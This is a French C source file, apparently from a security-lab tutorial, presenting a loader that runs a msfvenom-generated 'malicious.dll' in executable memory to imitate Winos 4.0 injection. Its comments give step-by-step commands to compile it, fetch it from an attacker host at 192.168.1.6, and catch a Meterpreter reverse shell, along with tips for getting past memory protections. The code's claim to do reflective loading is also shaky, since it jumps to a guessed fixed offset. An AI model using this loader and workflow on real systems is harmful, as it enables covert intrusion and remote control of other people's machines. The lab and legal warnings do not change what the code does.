/* loader.c - Reflective DLL Loader pour Catena/Winos 4.0
 * Charge malicious.dll en mémoire pour simuler l'injection de Winos 4.0
 * À utiliser UNIQUEMENT dans un lab sécurisé (article 323-1 CP)
 * Par Platon-Y pour PCtamalou.fr
 */

/* === CONTEXTE ===
 * Ce loader lit malicious.dll (générée par msfvenom) et l'exécute en mémoire,
 * évitant l'écriture sur disque. Il simule la technique d'injection reflective
 * utilisée par Catena pour déployer Winos 4.0.
 */

/* === PRÉREQUIS ===
 * - Windows 10 (192.168.1.7) comme cible
 * - malicious.dll générée (voir malicious.dll.txt)
 * - Compilateur mingw-w64 sur Kali : sudo apt install mingw-w64
 * - Metasploit handler configuré (LHOST=192.168.1.6, LPORT=4444)
 */

#include <windows.h>
#include <stdio.h>

/* Définit un type pour l'entrée de la DLL */
typedef void (*DLLEntry)(void);

int main() {
    /* Ouvre le fichier malicious.dll en lecture */
    HANDLE hFile = CreateFileA("malicious.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Erreur : impossible d'ouvrir malicious.dll\n");
        return 1;
    }

    /* Récupère la taille du fichier */
    DWORD fileSize = GetFileSize(hFile, NULL);
    if (fileSize == INVALID_FILE_SIZE) {
        printf("Erreur : impossible de lire la taille\n");
        CloseHandle(hFile);
        return 1;
    }

    /* Alloue un espace mémoire exécutable pour la DLL */
    LPVOID dllBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (dllBuffer == NULL) {
        printf("Erreur : allocation mémoire échouée\n");
        CloseHandle(hFile);
        return 1;
    }

    /* Lit la DLL dans le buffer */
    DWORD bytesRead;
    if (!ReadFile(hFile, dllBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
        printf("Erreur : lecture DLL échouée\n");
        VirtualFree(dllBuffer, 0, MEM_RELEASE);
        CloseHandle(hFile);
        return 1;
    }
    CloseHandle(hFile);

    /* Calcule le point d'entrée (offset ajusté) */
    /* Note : 0x1000 est un offset générique, peut varier selon la DLL */
    DLLEntry entryPoint = (DLLEntry)((LPBYTE)dllBuffer + 0x1000);

    /* Exécute la DLL en mémoire */
    entryPoint();

    /* Libère la mémoire */
    VirtualFree(dllBuffer, 0, MEM_RELEASE);
    return 0;
}

/* === INSTRUCTIONS D'UTILISATION ===
 * 1. Compile sur Kali avec mingw-w64 :
 *    x86_64-w64-mingw32-gcc loader.c -o loader.exe
 * 2. Transfère loader.exe et malicious.dll vers la cible Windows (192.168.1.7) :
 *    sudo python3 -m http.server 80 (sur Kali)
 *    Invoke-WebRequest -Uri http://192.168.1.6/loader.exe -OutFile loader.exe (sur Windows)
 *    Invoke-WebRequest -Uri http://192.168.1.6/malicious.dll -OutFile malicious.dll
 * 3. Exécute sur la cible : .\loader.exe
 * 4. Vérifie la connexion Meterpreter dans Metasploit : sessions -i 1
 */

/* === ADAPTATION ===
 * - Ajuste l'offset (0x1000) si la DLL échoue (utilise Ghidra pour analyser).
 * - Si PAGE_EXECUTE_READWRITE est bloqué, teste PAGE_READWRITE + VirtualProtect.
 * - Pour un autre payload, régénère malicious.dll avec msfvenom.
 */

/* === SÉCURITÉ ===
 * À exécuter UNIQUEMENT dans un lab sécurisé. Toute utilisation hors lab est
 * illégale (article 323-1 CP : 7 ans, 100 000 €).
 */

/* === POUR LES NEWBIES ===
 * Ce loader, c’est comme un passeur : il prend la DLL (le payload) et l’injecte
 * dans la mémoire sans laisser de traces, comme un ninja furtif.
 */

/* === RESSOURCES LIÉES ===
 * - index.html (#shellcode) : Détails sur l’injection
 * - malicious.dll.txt : Instructions pour générer la DLL
 * - "One shot, one kill : sois précis, sois éthique." - Platon-Y
 */